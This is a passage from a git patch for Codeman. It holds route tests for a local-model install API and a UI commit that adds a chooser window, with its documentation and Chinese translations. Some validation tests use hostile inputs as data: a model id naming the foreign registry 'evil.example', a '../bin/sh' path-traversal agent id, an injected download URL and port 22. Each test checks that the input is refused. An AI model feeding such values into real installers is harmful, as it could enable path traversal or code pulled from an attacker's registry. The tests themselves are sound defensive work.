expect(Object.keys(data).sort()).toEqual(['catalogUpdated', 'hardware', 'recommendation']); + expect(Object.keys(data).sort()).toEqual(['catalogUpdated', 'hardware', 'install', 'recommendation']); expect(data.hardware.memGb).toBe('51.5'); expect(data.hardware.freeDiskGb).toBe('912'); expect(data.recommendation.pick.needGb).toBe('29.6'); @@ -221,10 +313,13 @@ describe('GET /api/local-model', () => { expect(res.body).not.toContain('installable'); }); - it('registers a GET and nothing else: this stage has no route that changes anything', async () => { - const { app } = await harness(fakes().deps); - expect((await app.inject({ method: 'POST', url: '/api/local-model', payload: {} })).statusCode).toBe(404); - expect((await app.inject({ method: 'DELETE', url: '/api/local-model' })).statusCode).toBe(404); + it('is the only thing a GET does: there is no POST, PUT or PATCH on the same path', async () => { + const f = fakes(); + const { app } = await harness(f.deps); + for (const method of ['POST', 'PUT', 'PATCH'] as const) { + expect((await app.inject({ method, url: '/api/local-model', payload: {} })).statusCode).toBe(404); + } + expect(f.service.install).not.toHaveBeenCalled(); }); describe('multi-user mode', () => { @@ -239,6 +334,8 @@ describe('GET /api/local-model', () => { expect(f.getCatalog).not.toHaveBeenCalled(); expect(f.buildHarnessFacts).not.toHaveBeenCalled(); expect(f.recommend).not.toHaveBeenCalled(); + expect(f.service.view).not.toHaveBeenCalled(); + expect(f.service.recommendOptions).not.toHaveBeenCalled(); }); it('answers an admin', async () => { @@ -364,9 +461,16 @@ describe('GET /api/local-model', () => { describe('read-only', () => { it('writes nothing: the home directory and the data dir are byte for byte what they were', async () => { // The real harness facts (they read the CLI registry and run the availability probe), - // the route's own composition, and a hardware answer and a recommendation of the test's. + // the REAL install service over the real state file (nothing is installed, so its view + // is idle), the route's own composition, and a hardware answer and a recommendation of + // the test's. const f = fakes(); - const { app } = await harness({ ...f.deps, buildHarnessFacts: (catalog) => buildHarnessFacts(catalog) }); + const service = createLocalModelService(); + const { app } = await harness({ + ...f.deps, + buildHarnessFacts: (catalog) => buildHarnessFacts(catalog), + service: () => service, + }); const home = homedir(); const before = snapshot(home); @@ -375,6 +479,7 @@ describe('GET /api/local-model', () => { for (let i = 0; i < 3; i++) { const res = await app.inject({ method: 'GET', url: '/api/local-model' }); expect(res.statusCode).toBe(200); + expect(res.json().data.install).toMatchObject({ state: 'idle', running: false, actions: ['install'] }); } // A refused request and a failing one write nothing either. f.recommend.mockImplementationOnce(() => { @@ -405,8 +510,28 @@ describe('GET /api/local-model', () => { const server = readFileSync(join(root, 'src/web/server.ts'), 'utf8'); const barrel = readFileSync(join(root, 'src/web/routes/index.ts'), 'utf8'); expect(barrel).toContain("export { registerLocalModelRoutes } from './local-model-routes.js';"); - // No second argument: the server runs the real probe, catalogue, facts and recommend(). - expect(server).toContain('registerLocalModelRoutes(this.app);'); + // The route context for the live sessions, and no third argument: the server runs the + // real probe, catalogue, facts, recommend() and install service. + expect(server).toContain('registerLocalModelRoutes(this.app, ctx);'); + }); + + it('the server starts the install service at boot and stops it at shutdown, outside tests only', () => { + const root = fileURLToPath(new URL('../../', import.meta.url)); + const server = readFileSync(join(root, 'src/web/server.ts'), 'utf8'); + const boot = server.indexOf('void getLocalModelService().boot();'); + const shutdown = server.indexOf('void getLocalModelService().shutdown();'); + expect(boot).toBeGreaterThan(-1); + expect(shutdown).toBeGreaterThan(-1); + // Each sits in a block that tests never enter: nothing of the runtime runs under vitest. + for (const at of [boot, shutdown]) { + const before = server.slice(0, at).trimEnd(); + expect(before.endsWith('if (!this.testMode) {')).toBe(true); + } + // Shutdown stands beside the other supervised child's stop. + const deepseek = server.indexOf('void stopDeepSeekWeb();'); + expect(deepseek).toBeGreaterThan(-1); + expect(shutdown).toBeGreaterThan(deepseek); + expect(shutdown - deepseek).toBeLessThan(700); }); it('the default dependencies are the real modules, read at call time', () => { @@ -415,8 +540,406 @@ describe('GET /api/local-model', () => { 'getCatalog', 'readHardware', 'recommend', + 'service', ]); for (const dep of Object.values(defaultLocalModelRouteDeps)) expect(typeof dep).toBe('function'); + // The one install service of the process, the same object every time. + expect(defaultLocalModelRouteDeps.service()).toBe(getLocalModelService()); }); }); }); + +describe('the install verbs', () => { + const INSTALL_BODY = { modelId: 'qwen3.8:27b', cli: 'opencode', context: 131072, acknowledgedBytes: 17926000000 }; + + /** Every verb as a request, with a body the route accepts. */ + const VERBS = [ + { name: 'install', method: 'POST', url: '/api/local-model/install', payload: INSTALL_BODY }, + { name: 'cancel', method: 'POST', url: '/api/local-model/cancel', payload: undefined }, + { name: 'resume', method: 'POST', url: '/api/local-model/resume', payload: {} }, + { name: 'runtime', method: 'POST', url: '/api/local-model/runtime', payload: { action: 'stop' } }, + { name: 'remove', method: 'DELETE', url: '/api/local-model', payload: { removeModel: true } }, + ] as const; + + const call = (app: Awaited<ReturnType<typeof harness>>['app'], verb: (typeof VERBS)[number]) => + app.inject({ method: verb.method, url: verb.url, ...(verb.payload ? { payload: verb.payload } : {}) }); + + describe.each(VERBS)('$method $url', (verb) => { + it('answers the view after the verb in the success envelope', async () => { + const f = fakes(); + const { app } = await harness(f.deps); + const res = await call(app, verb); + expect(res.statusCode).toBe(200); + expect(res.json()).toEqual({ success: true, data: INSTALLING_VIEW }); + expect(f.service[verb.name]).toHaveBeenCalledTimes(1); + }); + + it('multi-user mode: a non-admin is refused with 403 before the service is asked anything', async () => { + process.env.CODEMAN_MULTIUSER = '1'; + const f = fakes(); + const { app } = await harness(f.deps, { username: 'bob', role: 'user' }); + const res = await call(app, verb); + expect(res.statusCode).toBe(403); + expect(res.json()).toMatchObject({ success: false, errorCode: 'FORBIDDEN' }); + for (const name of ['install', 'cancel', 'resume', 'runtime', 'remove', 'view', 'recommendOptions'] as const) { + expect(f.service[name]).not.toHaveBeenCalled(); + } + }); + + it('multi-user mode: the gate comes before the body is even parsed', async () => { + process.env.CODEMAN_MULTIUSER = '1'; + const f = fakes(); + const { app } = await harness(f.deps, { username: 'bob', role: 'user' }); + const res = await app.inject({ method: verb.method, url: verb.url, payload: { nonsense: true } }); + expect(res.statusCode).toBe(403); + }); + + it('multi-user mode: an admin is served', async () => { + process.env.CODEMAN_MULTIUSER = '1'; + const f = fakes(); + const { app } = await harness(f.deps, { username: 'root', role: 'admin' }); + expect((await call(app, verb)).statusCode).toBe(200); + expect(f.service[verb.name]).toHaveBeenCalledTimes(1); + }); + + it('is not gated while multi-user mode is off', async () => { + const f = fakes(); + const { app } = await harness(f.deps, { username: 'bob', role: 'user' }); + expect((await call(app, verb)).statusCode).toBe(200); + }); + + it('a 409 of the service is the error envelope plus the conflict as data', async () => { + const f = fakes(); + f.service[verb.name].mockResolvedValue({ + ok: false, + status: 409, + conflict: { reason: 'job-running', message: { text: LOCAL_MODEL_INSTALL_LABELS.conflictJobRunning } }, + }); + const { app } = await harness(f.deps); + const res = await call(app, verb); + expect(res.statusCode).toBe(409); + expect(res.json()).toEqual({ + success: false, + error: 'An install is already running.', + errorCode: 'CONFLICT', + data: { reason: 'job-running', message: { text: 'An install is already running.' } }, + }); + }); + + it('an exception of the service is a 500 in the envelope', async () => { + const f = fakes(); + f.service[verb.name].mockRejectedValue(new Error('disk on fire')); + const { app } = await harness(f.deps); + const res = await call(app, verb); + expect(res.statusCode).toBe(500); + expect(res.json()).toMatchObject({ success: false, errorCode: 'INTERNAL_ERROR' }); + expect(res.json().error).toContain('disk on fire'); + }); + + it.each([ + ['the endpoint store', new CustomModelHostsWriteRefusedError('custom-model-hosts.json is not a valid JSON list')], + ['the settings file', new SettingsWriteRefusedError('settings.json is not a valid JSON object')], + ])('a refused write of %s is a 409 with the fix and no conflict data', async (_label, error) => { + const f = fakes(); + f.service[verb.name].mockRejectedValue(error); + const { app } = await harness(f.deps); + const res = await call(app, verb); + expect(res.statusCode).toBe(409); + expect(res.json()).toEqual({ success: false, error: error.message, errorCode: 'CONFLICT' }); + }); + }); + + describe('POST /api/local-model/install', () => { + it('hands the service the four choices and who asked', async () => { + const f = fakes(); + const { app } = await harness(f.deps, { username: 'alice', role: 'admin' }); + await app.inject({ method: 'POST', url: '/api/local-model/install', payload: INSTALL_BODY }); + expect(f.service.install).toHaveBeenCalledWith(INSTALL_BODY, { username: 'alice', ip: '127.0.0.1' }); + }); + + it('a row the server does not offer is a 400 with the service own sentence', async () => { + const f = fakes(); + f.service.install.mockResolvedValue({ + ok: false, + status: 400, + message: 'This model at this context is not offered for this Mac right now.', + }); + const { app } = await harness(f.deps); + const res = await app.inject({ method: 'POST', url: '/api/local-model/install', payload: INSTALL_BODY }); + expect(res.statusCode).toBe(400); + expect(res.json()).toEqual({ + success: false, + error: 'This model at this context is not offered for this Mac right now.', + errorCode: 'INVALID_INPUT', + }); + }); + + it('consent bound to the size: the 409 carries the server own total, so the window can ask again', async () => { + const f = fakes(); + f.service.install.mockResolvedValue({ + ok: false, + status: 409, + conflict: { + reason: 'size-changed', + message: { text: LOCAL_MODEL_INSTALL_LABELS.conflictSizeChanged, vars: { size: '23.3' } }, + expectedBytes: 23291770627, + expectedGb: '23.3', + }, + }); + const { app } = await harness(f.deps); + const res = await app.inject({ method: 'POST', url: '/api/local-model/install', payload: INSTALL_BODY }); + expect(res.statusCode).toBe(409); + expect(res.json()).toEqual({ + success: false, + error: 'The download is 23.3 GB now. Check the sizes and confirm again.', + errorCode: 'CONFLICT', + data: { + reason: 'size-changed', + message: { + text: 'The download is {size} GB now. Check the sizes and confirm again.', + vars: { size: '23.3' }, + }, + expectedBytes: 23291770627, + expectedGb: '23.3', + }, + }); + }); + + it.each([ + ['no body', undefined], + ['a missing size', { modelId: 'qwen3.8:27b', cli: 'opencode', context: 131072 }], + ['a model id with a registry host in it', { ...INSTALL_BODY, modelId: 'evil.example/x/y:z' }], + ['a model id without a tag', { ...INSTALL_BODY, modelId: 'qwen3.8' }], + ['an upper-case model id', { ...INSTALL_BODY, modelId: 'Qwen3.8:27B' }], + ['a coding agent id with a space', { ...INSTALL_BODY, cli: 'open code' }], + ['a coding agent id that is a path', { ...INSTALL_BODY, cli: '../bin/sh' }], + ['a context of zero', { ...INSTALL_BODY, context: 0 }], + ['a context that is not a whole number', { ...INSTALL_BODY, context: 1.5 }], + ['a negative size', { ...INSTALL_BODY, acknowledgedBytes: -1 }], + ['a size as text', { ...INSTALL_BODY, acknowledgedBytes: '17926000000' }], + ['a member nobody defined', { ...INSTALL_BODY, url: 'https://example.invalid/ollama.tgz' }], + ])('%s is a 400 before the service is asked', async (_label, payload) => { + const f = fakes(); + const { app } = await harness(f.deps); + const res = await app.inject({ + method: 'POST', + url: '/api/local-model/install', + ...(payload ? { payload } : {}), + }); + expect(res.statusCode).toBe(400); + expect(res.json()).toMatchObject({ success: false, errorCode: 'INVALID_INPUT' }); + expect(f.service.install).not.toHaveBeenCalled(); + }); + }); + + describe('POST /api/local-model/resume and /runtime', () => { + it('resume takes no body, an empty one, or newPort', async () => { + const f = fakes(); + const { app } = await harness(f.deps); + await app.inject({ method: 'POST', url: '/api/local-model/resume' }); + await app.inject({ method: 'POST', url: '/api/local-model/resume', payload: {} }); + await app.inject({ method: 'POST', url: '/api/local-model/resume', payload: { newPort: true } }); + expect(f.service.resume.mock.calls.map(([body]) => body)).toEqual([{}, {}, { newPort: true }]); + expect(f.service.resume.mock.calls[0][1]).toEqual({ username: 'admin', ip: '127.0.0.1' }); + }); + + it('resume refuses a body it does not know', async () => { + const f = fakes(); + const { app } = await harness(f.deps); + const res = await app.inject({ method: 'POST', url: '/api/local-model/resume', payload: { port: 80 } }); + expect(res.statusCode).toBe(400); + expect(f.service.resume).not.toHaveBeenCalled(); + }); + + it('runtime takes start or stop, and newPort with it', async () => { + const f = fakes(); + const { app } = await harness(f.deps); + await app.inject({ + method: 'POST', + url: '/api/local-model/runtime', + payload: { action: 'start', newPort: true }, + }); + await app.inject({ method: 'POST', url: '/api/local-model/runtime', payload: { action: 'stop' } }); + expect(f.service.runtime.mock.calls.map(([body]) => body)).toEqual([ + { action: 'start', newPort: true }, + { action: 'stop' }, + ]); + }); + + it.each([ + ['no body', undefined], + ['no action', {}], + ['an action that is neither', { action: 'restart' }], + ['a port number of the caller own choosing', { action: 'start', port: 22 }], + ])('runtime with %s is a 400', async (_label, payload) => { + const f = fakes(); + const { app } = await harness(f.deps); + const res = await app.inject({ + method: 'POST', + url: '/api/local-model/runtime', + ...(payload ? { payload } : {}), + }); + expect(res.statusCode).toBe(400); + expect(f.service.runtime).not.toHaveBeenCalled(); + }); + }); + + describe('DELETE /api/local-model', () => { + const SESSIONS: SessionLike[] = [ + { name: 'w1-app', customModel: { endpointId: 'local-ollama' } }, + { name: 'w2-app' }, + { name: 'w3-lib', customModel: { endpointId: 'office-gpu' } }, + { name: 'w4-lib', customModel: { endpointId: 'local-ollama' } }, + ]; + + it('hands the service the names of the live sessions on the model, and who asked', async () => { + const f = fakes(); + const { app } = await harness(f.deps, undefined, SESSIONS); + await app.inject({ method: 'DELETE', url: '/api/local-model', payload: { removeModel: true } }); + expect(f.service.remove).toHaveBeenCalledWith({ removeModel: true }, ['w1-app', 'w4-lib'], { + username: 'admin', + ip: '127.0.0.1', + }); + }); + + it('without a live session on the model the list is empty, and no body means the model stays', async () => { + const f = fakes(); + const { app } = await harness(f.deps, undefined, [SESSIONS[1], SESSIONS[2]]); + const res = await app.inject({ method: 'DELETE', url: '/api/local-model' }); + expect(res.statusCode).toBe(200); + expect(f.service.remove.mock.calls[0][0]).toEqual({}); + expect(f.service.remove.mock.calls[0][1]).toEqual([]); + }); + + it('the sessions are read at the moment of the request, not when the routes were registered', async () => { + const f = fakes(); + const sessions = new Map<string, SessionLike>(); + const { app } = await createRouteTestHarness((instance) => + registerLocalModelRoutes(instance, { sessions }, f.deps) + ); + await app.inject({ method: 'DELETE', url: '/api/local-model' }); + sessions.set('late', { name: 'w9-late', customModel: { endpointId: 'local-ollama' } }); + await app.inject({ method: 'DELETE', url: '/api/local-model' }); + expect(f.service.remove.mock.calls.map((args) => args[1])).toEqual([[], ['w9-late']]); + }); + + it('while a live session uses the model: 409 with the session names', async () => { + const f = fakes(); + f.service.remove.mockImplementation(async (_request, names) => ({ + ok: false, + status: 409, + conflict: { + reason: 'sessions-open', + message: { text: LOCAL_MODEL_INSTALL_LABELS.conflictSessionsOpen, vars: { sessions: names.join(', ') } }, + sessions: [...names], + }, + })); + const { app } = await harness(f.deps, undefined, SESSIONS); + const res = await app.inject({ method: 'DELETE', url: '/api/local-model' }); + expect(res.statusCode).toBe(409); + expect(res.json()).toEqual({ + success: false, + error: 'Sessions are still using this model: w1-app, w4-lib. Close them first.', + errorCode: 'CONFLICT', + data: { + reason: 'sessions-open', + message: { + text: 'Sessions are still using this model: {sessions}. Close them first.', + vars: { sessions: 'w1-app, w4-lib' }, + }, + sessions: ['w1-app', 'w4-lib'], + }, + }); + }); + + it('refuses a body it does not know', async () => { + const f = fakes(); + const { app } = await harness(f.deps); + const res = await app.inject({ method: 'DELETE', url: '/api/local-model', payload: { path: '/' } }); + expect(res.statusCode).toBe(400); + expect(f.service.remove).not.toHaveBeenCalled(); + }); + }); +}); + +describe('the routes over the real install service', () => { + const STATE = () => dataPath('local-model.json'); + + afterEach(() => { + rmSync(STATE(), { force: true }); + }); + + /** The real service with the real state file. Only the hardware is the test's: a server that is not a Mac. */ + function realService(): LocalModelService { + return createLocalModelService({ readHardware: async () => LINUX }); + } + + it('on a server that is not a Mac nothing can be installed: the install is a 400 and nothing is written', async () => { + const service = realService(); + const { app } = await harness({ readHardware: async () => LINUX, service: () => service }); + const res = await app.inject({ + method: 'POST', + url: '/api/local-model/install', + payload: { modelId: 'qwen3.6:35b-a3b', cli: 'opencode', context: 131072, acknowledgedBytes: 1 }, + }); + expect(res.statusCode).toBe(400); + expect(res.json()).toMatchObject({ success: false, errorCode: 'INVALID_INPUT' }); + expect(existsSync(STATE())).toBe(false); + const get = await app.inject({ method: 'GET', url: '/api/local-model' }); + expect(get.json().data.install).toMatchObject({ state: 'idle', actions: ['install'] }); + expect(get.json().data.recommendation).toMatchObject({ verdict: 'none', reason: 'not-macos' }); + }); + + it('with nothing installed: cancel, resume and a runtime action are 409 wrong-state', async () => { + const service = realService(); + const { app } = await harness({ service: () => service }); + for (const [url, payload] of [ + ['/api/local-model/cancel', undefined], + ['/api/local-model/resume', {}], + ['/api/local-model/runtime', { action: 'start' }], + ] as const) { + const res = await app.inject({ method: 'POST', url, ...(payload ? { payload } : {}) }); + expect(res.statusCode).toBe(409); + expect(res.json()).toMatchObject({ + success: false, + errorCode: 'CONFLICT', + error: 'That is not possible in the current state.', + data: { reason: 'wrong-state' }, + }); + } + expect(existsSync(STATE())).toBe(false); + }); + + it('a job the state file still calls installing comes back paused on the first GET of a new server', async () => { + writeFileSync( + STATE(), + JSON.stringify({ + schema: 1, + state: 'installing', + step: 'model', + steps: ['runtime', 'model', 'verify', 'agent', 'connect'], + model: { id: 'qwen3.6:35b-a3b', label: 'Qwen3.6 35B-A3B', context: 131072 }, + cli: { id: 'opencode', label: 'OpenCode' }, + runtime: { version: '0.40.15', port: 11435, enabled: true }, + progress: { completedBytes: 6200000000, totalBytes: 23105798956 }, + }) + ); + const service = realService(); + const { app } = await harness({ readHardware: async () => LINUX, service: () => service }); + const res = await app.inject({ method: 'GET', url: '/api/local-model' }); + expect(res.json().data.install).toMatchObject({ + state: 'paused', + step: 'model', + running: false, + model: { id: 'qwen3.6:35b-a3b', label: 'Qwen3.6 35B-A3B' }, + cli: 'opencode', + port: 11435, + progress: { completedBytes: 6200000000, totalBytes: 23105798956, completedGb: '6.2', totalGb: '23.1' }, + actions: ['resume', 'install', 'remove'], + }); + expect(JSON.parse(readFileSync(STATE(), 'utf8')).state).toBe('paused'); + // A second install while that job is only paused is refused for what it asks, not started. + const cancel = await app.inject({ method: 'POST', url: '/api/local-model/cancel' }); + expect(cancel.statusCode).toBe(409); + }); +}); From 84d5c691ff852fd118668325664a4f862d49560e Mon Sep 17 00:00:00 2001 From: Codeman maintainer <noreply@anthropic.com> Date: Fri, 6 Nov 2026 22:16:38 +0100 Subject: [PATCH 16/28] feat(local-model): one button and a chooser window replace the welcome card The read-only card is gone. The welcome screen has one button, "Run a local model" ("Local model" once one is installed), and App Settings > Models has one row; both open the same window. The window follows `install.state`: choose a model (a radio group, with a memory bar filled to what the selected model needs), confirm the sizes and the folder, watch the download and the steps, and end on "Start a session". Paused, failed, installed (running or stopped), Remove and "no model fits" are screens of the same window. It polls the GET once a second while open. Every dynamic string goes in through textContent, labels and sentences come from the payload, no CLI id is compared, and every new string has a zh-CN entry. Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com> --- config/test-suites.ts | 1 + src/web/CLAUDE.md | 2 +- src/web/public/app.js | 6 + src/web/public/i18n.js | 152 +- src/web/public/index.html | 57 +- src/web/public/local-model-ui.js | 1559 +++++++++++++--- src/web/public/mobile.css | 109 +- src/web/public/settings-ui.js | 5 +- src/web/public/styles.css | 769 ++++++-- src/web/public/terminal-ui.js | 5 +- test/local-model-i18n.test.ts | 119 +- test/local-model-ui.browser.test.ts | 349 ++++ test/local-model-ui.test.ts | 2674 +++++++++++++++++++-------- 13 files changed, 4543 insertions(+), 1264 deletions(-) create mode 100644 test/local-model-ui.browser.test.ts diff --git a/config/test-suites.ts b/config/test-suites.ts index 49812b3a..ebbc8337 100644 --- a/config/test-suites.ts +++ b/config/test-suites.ts @@ -60,6 +60,7 @@ export const BROWSER_TEST_GLOBS = [ 'test/fullscreen-tab-switch-capture.browser.test.ts', 'test/terminal-touch-swipe-axis.browser.test.ts', 'test/phone-press-feedback.browser.test.ts', + 'test/local-model-ui.browser.test.ts', ]; /** diff --git a/src/web/CLAUDE.md b/src/web/CLAUDE.md index 2f29a211..eb55b626 100644 --- a/src/web/CLAUDE.md +++ b/src/web/CLAUDE.md @@ -48,7 +48,7 @@ Frontend JS modules have `@fileoverview` with `@dependency`/`@loadorder` tags. L **Opened outside Codeman** (`foreign-sessions.js`, both home screens): the tmux sessions a human started, listed from `GET /api/mux/foreign` (root CLAUDE.md, Adopted tmux sessions). ONE renderer, `renderForeignSessions(container)`, fills the welcome block and the phone overview's, and every row goes through `textContent`, since a session name and a command line come from someone else's process. ⚠️ It polls only while a home screen is up (`startForeignPolling`/`stopForeignPolling` from `showWelcome()`/`hideWelcome()`) and the tab is visible (`_foreignPollTick()` is the one gate, and `visibilitychange` catches up; the cache TTL sits under the poll interval, so one tab's every tick is a full socket sweep), and the poll is local only: the docker and ssh scan costs one connection per target, so it runs once on the toggle and again on Rescan, and its rows and notes are kept apart (`_foreignWideSessions`, `_foreignWideNotes`) or the next local poll would wipe them. ⚠️ A 403 is a non-admin in multi-user mode, an answer and not a failed poll: `_foreignRefused` stops the polling and shows no block. ⚠️ `closeSession()` re-reads the list after an adopted tab's DELETE, since the home screen's own load races it and the row would say `Go to tab` until the next poll. ⚠️ An adopted tab has no kill outcome to offer, so the close dialog hides the red button and always tears the wrapper down. ⚠️ `session.remote` and `session.docker` are undefined on an adopted session, so a check that hides a row for those two usually needs `session.adopt` as well. Tests: `test/foreign-sessions-ui.test.ts`, `test/foreign-sessions-i18n.test.ts` (harvests every string from the real module). -**Model on this Mac** (`local-model-ui.js`; welcome card `#localModelCard` + App Settings > Models group `#localModelGroup`; server rules in the root CLAUDE.md, Local model recommendation): a READ-ONLY view of `GET /api/local-model`. ONE builder (`localModelBody`) paints both containers, so the card and the Settings row can never name a different pick; the card folds the alternatives, Settings lists them. ⚠️ Every dynamic string goes in through `textContent` (model, harness and chip names are someone else's text), both containers carry `data-i18n-skip`, and the module translates its own sentences at render time, so a language or display-name change must repaint from the module (the `<html lang>` observer). ⚠️ Labels and sentences come from the payload (`{ text, vars }` through `localModelT`); the module holds no list of models or harnesses, never compares a CLI id, and never contains the word "Recommended" (that headline is the server's to send). ⚠️ `test/local-model-i18n.test.ts` harvests every `localModelT('...')` literal: a new string is a single-quoted literal with no apostrophe and gets a zh-CN entry, and the only non-literal calls are the two payload ones. ⚠️ Sizes are printed as sent (decimal GB text), bytes are never divided here; the installed memory alone is `memClassGb`, a number or nothing (an unknown size is left out, never `0 GB`). ⚠️ The card ships `hidden` and shows only once the server answered for a Mac; the card AND the Settings group stay hidden for `not-macos` (the server is usually Linux, and "this Mac" always means the machine the server runs on), for a refusal and while the first request is in flight; a failed first request shows one sentence in Settings only. ⚠️ Refused means `403` with `errorCode: FORBIDDEN` (a non-admin in multi-user mode: stop asking); the auth layer's `403 PASSWORD_CHANGE_REQUIRED` is a failed request that is asked again on `codeman:me`. ⚠️ Each fit and speed pill carries what it measures as `title` + `aria-label` ("Good" is the memory fit, not a rating), and the line saying Codeman cannot download or install yet sits right under the pick and its notes, in `--text-dim` like every other line. The dismissal is a per-device localStorage key named for this stage (`codeman:local-model-dismissed:readonly`), never a server setting: the stage that can set a model up takes a new key so its offer shows once more. At most one request a minute (the server caches its probe for 60 s), shared while in flight, and a failed refresh keeps the answer on screen. Tests: `test/local-model-ui.test.ts`, `test/local-model-i18n.test.ts`. +**Run a model on this Mac** (`local-model-ui.js`; welcome button `#welcomeLocalModelBtn`, chooser window `#localModelModal`, App Settings > Models row `#localModelSettings`; server rules in the root CLAUDE.md, Local model): ONE window does everything (choose, confirm, progress, paused, failed, installed, no recommendation); the button and the Settings row only open it. Which screen shows follows `install.state` of `GET /api/local-model`; the page itself holds only the selection and whether the person is on the chooser or the confirm screen. ⚠️ The memory bar (`.lm-bar`, `role="meter"`) is the one strong element: filled to the selected row's `budgetShare`, a flat `--accent` fill on a `--control-border-hover` track (the inputs' `--bg-input` is the window's own surface on the dark skins), 10px, no gradient or glow, and its width transition is the only motion (off under `prefers-reduced-motion`); a repaint starts each bar at the last width of its kind, so keep `_settleLocalModelBars()` after every body write. ⚠️ The window polls the GET once a second WHILE OPEN and never otherwise (no SSE event): `closeLocalModelWindow()` clears the timer, a background tab asks nothing, an unchanged answer repaints nothing, and a tick that moved only the download replaces `.lm-meter` alone, so a button is never swapped out under a click. A read that was already under way when a verb answered is dropped (`_localModelVerbs`), or the old state flashes back. ⚠️ The consent is bound to the size shown: the install request carries the row's `installBytes` as `acknowledgedBytes`, and a 409 `size-changed` shows `expectedGb` and sends `expectedBytes` next; never compute a total here. ⚠️ A button exists only for an action in `install.actions`, and after an error exactly one helpful action (`error.next`) plus a quiet Remove. ⚠️ Every dynamic string goes in through `textContent` (model, coding agent and chip names, an error's detail, session names, the folder and the install command are someone else's text); the window body, the button and the row carry `data-i18n-skip` and the module translates its own sentences at render time, so a language or display-name change repaints from the module (the `<html lang>` observer). ⚠️ Labels and sentences come from the payload (`{ text, vars }` through `localModelT`); the module holds no list of models or coding agents, compares no CLI id (the agent select's values are positions in the server's list, the id travels only as data into the install request and `selectCustomModelEntry`) and never contains the word "Recommended". ⚠️ `test/local-model-i18n.test.ts` harvests every `localModelT('...')` literal: a new string is a single-quoted literal with no apostrophe and gets a zh-CN entry, the only non-literal calls are the two payload ones, and a unit alone (`23.1 GB`) is not a translator call. ⚠️ Sizes are printed as sent (decimal GB text), bytes are never turned into a size; the installed memory alone is `memClassGb`. ⚠️ The model list is a real radio group (`role="radiogroup"`, roving `tabindex`, arrows, Home, End, the focus follows through the repaint's own focus restore, keyed by `data-lm-key`); the columns line up through `subgrid` with a fixed-track `@supports` fallback, and under 560px a row is two lines (mobile.css). ⚠️ The window has its OWN `FocusTrap` (`_localModelFocusTrap`, never `activeFocusTrap`: it opens on top of App Settings) and app.js claims its Escape before `closeAllPanels()`. ⚠️ Its buttons are the Git worktrees dialog's `.wt-btn` set, never `.btn-toolbar`: the skin block greys `.btn-toolbar.btn-primary` and the phone block pins every `.btn-toolbar` to 26px with `!important`. ⚠️ "Start a session" re-reads the settings and the CLI list first (`loadAppSettingsFromServer`, `loadCliListForSettings`: the server switched the endpoints flag on and may have installed the agent a moment ago), then calls the existing `selectCustomModelEntry(install.cli, install.endpointId)`. The button ships `hidden` and shows only once the server answered for a Mac ("Local model" once one is installed); button AND Settings group stay hidden for `not-macos`, for a refusal and while the first request is in flight; refused means `403` with `errorCode: FORBIDDEN` (the auth layer's `403 PASSWORD_CHANGE_REQUIRED` is a failed request, asked again on `codeman:me`). Remove asks first and deletes the downloaded model unless the box is cleared (nothing else in the UI can free that space later). Not on the phone overview. Tests: `test/local-model-ui.test.ts`, `test/local-model-i18n.test.ts`; the visual walk is a scratch Playwright script, not a test. **Home-screen session order** (`CodemanSessionOrder` in constants.js, pure): BOTH home screens (phone overview, desktop rail) must order rows through this ONE comparator. Rank `needs` → `error` → `waiting` → `working` → `idle` → `done`. ⚠️ The tiebreak flips: states a session is still IN sort oldest-first, states it has STOPPED sort newest-first. ⚠️ The running group keys off `lastSubmitAt`, never `lastActivityAt` (a working pane repaints constantly). ⚠️ A 0 stamp means unknown and sorts last within its state. Final tiebreak is `orderIndex`, so the list never shuffles. The tab strip itself is NOT sorted by this. Test: `test/session-overview-order.test.ts`. → [architecture-invariants#home-screen-session-order](../../docs/architecture-invariants.md#home-screen-session-order) diff --git a/src/web/public/app.js b/src/web/public/app.js index 69b46af8..3257792e 100644 --- a/src/web/public/app.js +++ b/src/web/public/app.js @@ -1468,6 +1468,12 @@ class CodemanApp { this.handleTabRailSearchKeydown(e); return; } + // The local model window can sit on top of App Settings (it opens from a + // row there): Escape closes the window alone and leaves Settings open. + if (this.isLocalModelWindowOpen?.()) { + this.closeLocalModelWindow(); + return; + } this.closeAllPanels(); this.closeHelp(); if (this.attachmentHistoryDrawerOpen) this.closeAttachmentHistory(); diff --git a/src/web/public/i18n.js b/src/web/public/i18n.js index 87c18651..47f33f7d 100644 --- a/src/web/public/i18n.js +++ b/src/web/public/i18n.js @@ -1407,39 +1407,96 @@ '该 tmux 会话在此处打开时所在的位置。它是在 Codeman 之外启动的,关闭此标签页后仍会继续运行。', 'Git status is not available for a tmux session opened outside Codeman.': '在 Codeman 之外打开的 tmux 会话无法使用 Git 状态。', - // Model on this Mac (local-model-ui.js: the welcome card and its App Settings group). The first - // block is the module's own text; sizes and names fill the {placeholder} slots. + // Run a model on this Mac (local-model-ui.js: the welcome button, the chooser window and its + // App Settings group). The first block is the page's and the module's own text; sizes and + // names fill the {placeholder} slots. 'Model on this Mac': '此 Mac 上的模型', - 'What the Mac that Codeman runs on can run as a local coding model. Read-only: nothing is downloaded or installed from here.': - '运行 {name} 的这台 Mac 可以运行哪种本地编程模型。只读:此处不会下载或安装任何内容。', + 'Run a coding model on the Mac that Codeman runs on. No account and no API key.': + '在运行 {name} 的这台 Mac 上运行编程模型。无需账号,也无需 API 密钥。', + 'Run a model on this Mac': '在此 Mac 上运行模型', + 'Run a local model': '运行本地模型', + 'Local model': '本地模型', 'The Mac that Codeman runs on, which is not always the device you are reading on.': '指运行 {name} 的那台 Mac,不一定是你正在使用的这台设备。', - Hide: '隐藏', - 'Hide this card on this device. It stays in App Settings, under Models.': - '在此设备上隐藏此卡片。它仍保留在“应用设置”的“模型”中。', '{chip}, {memory} GB memory, {free} GB free': '{chip},内存 {memory} GB,可用磁盘空间 {free} GB', '{chip}, {memory} GB memory': '{chip},内存 {memory} GB', '{memory} GB memory, {free} GB free': '内存 {memory} GB,可用磁盘空间 {free} GB', '{memory} GB memory': '内存 {memory} GB', - '{model} ({id}) with {harness}': '{model}({id}),搭配 {harness}', - 'Context {context} tokens': '上下文 {context} 个 Token', - '{need} GB of memory': '占用内存 {need} GB', - '{download} GB download': '下载 {download} GB', - 'Needs about {need} GB of the {budget} GB this Mac can give a model.': - '大约需要 {need} GB,此 Mac 可分配给模型的内存为 {budget} GB。', - 'Needs about {need} GB of the {budget} GB this Mac can give a model (estimated).': - '大约需要 {need} GB,此 Mac 可分配给模型的内存约为 {budget} GB(估算)。', - 'About {speed} tokens per second (estimated).': '每秒约 {speed} 